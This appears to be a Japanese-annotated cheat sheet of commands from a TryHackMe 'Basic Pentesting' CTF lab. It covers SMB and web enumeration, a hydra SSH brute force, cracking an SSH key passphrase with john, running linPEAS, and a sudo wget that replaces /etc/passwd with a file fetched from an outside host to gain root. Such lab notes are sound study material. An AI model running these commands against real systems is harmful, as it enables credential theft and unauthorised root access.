- `gobuster dir -u http://TARGET_IP/ -w /usr/share/wordlists/dirb/common.txt` → Webディレクトリ・ファイル探索 - `enum4linux -a TARGET_IP` → SMB/Samba関連情報の列挙 - `smbclient //TARGET_IP/Anonymous -N` → SMB共有への接続 - `ls` → ファイル・ディレクトリ一覧表示 - `get staff.txt` → SMB共有からファイル取得 - `exit` → セッション終了 - `hydra -l jan -P /usr/share/wordlists/rockyou.txt -t 4 ssh://TARGET_IP` → SSHログイン認証の試行 - `ssh2john kay_rsa > hash` → SSH秘密鍵をJohn用形式へ変換 - `john hash --wordlist=/usr/share/wordlists/rockyou.txt` → Passphrase解析 - `john --show hash` → Johnの解析結果表示 - `ssh -i kay_rsa kay@TARGET_IP` → 秘密鍵を使ったSSH接続 - `ssh-keygen -y -f kay_rsa` → 秘密鍵から公開鍵を取得 - `file kay_rsa` → ファイル形式確認 - `head -n 5 kay_rsa` → ファイル先頭5行表示 - `tail -n 5 kay_rsa` → ファイル末尾5行表示 - `cat -A kay_rsa` → 不可視文字を含めてファイル表示 - `xxd -g 1 -l 40 kay_rsa` → ファイル先頭40バイトを16進表示 - `which linpeas` → `linpeas` コマンドの場所確認 - `ls -l /usr/bin/linpeas` → `linpeas` ファイルの詳細確認 - `cat /usr/bin/linpeas` → `linpeas` ファイル内容表示 - `ls -lah /usr/share/peass/linpeas` → linPEAS関連ファイル一覧確認 - `scp /usr/share/peass/linpeas/linpeas.sh jan@TARGET_IP:/tmp/` → linPEASをリモートへコピー - `scp jessie@TARGET_IP:~/Documents/user_flag.txt .` → リモートファイルを現在ディレクトリへ取得 - `scp jessie@TARGET_IP:~/Documents/user_flag.txt ~/thm/basicpentesting/` → リモートファイルを指定ディレクトリへ取得 - `find . -name "user_flag.txt"` → 現在ディレクトリ以下からファイル検索 - `find / -name "user_flag.txt" 2>/dev/null` → システム全体から名前指定で検索 - `find / -type f -name "user_flag.txt" 2>/dev/null` → システム全体から通常ファイルのみ検索 - `find / -type f -iname "user_flag.txt" 2>/dev/null` → 大文字小文字を無視して通常ファイル検索 - `wget http://TARGET_IP/development/dev.txt` → Web上のファイル取得 - `wget -O kay_rsa http://TARGET_IP/path/to/id_rsa` → Web上のファイルを指定名で保存 - `curl -O http://TARGET_IP/development/dev.txt` → Web上のファイル取得 - `./linpeas.sh | tee linpeas-output.txt` → linPEAS実行結果を表示しつつ保存 - `ls -lh linpeas-output.txt` → 保存した出力ファイルの確認 - `less linpeas-output.txt` → 出力ファイル閲覧 - `grep "sudo" linpeas-output.txt` → `sudo` を含む行検索 - `grep -i "sudo" linpeas-output.txt` → 大文字小文字を無視して `sudo` 検索 - `grep -ni "sudo" linpeas-output.txt` → 行番号付きで `sudo` 検索 - `grep -ni -C 3 "sudo" linpeas-output.txt` → 前後3行付きで `sudo` 検索 - `grep -niE "sudo|wget" linpeas-output.txt` → `sudo` または `wget` を検索 - `grep -niE -C 3 "sudo|wget" linpeas-output.txt` → 前後3行付きで `sudo` または `wget` を検索 - `sudo wget http://192.168.158.2:8000/passwd -O /etc/passwd` → Web上のファイルを取得して `/etc/passwd` に保存 - `pwd` → 現在のディレクトリ表示 - `ls` → ファイル・ディレクトリ一覧表示 - `cat staff.txt` → テキストファイル内容表示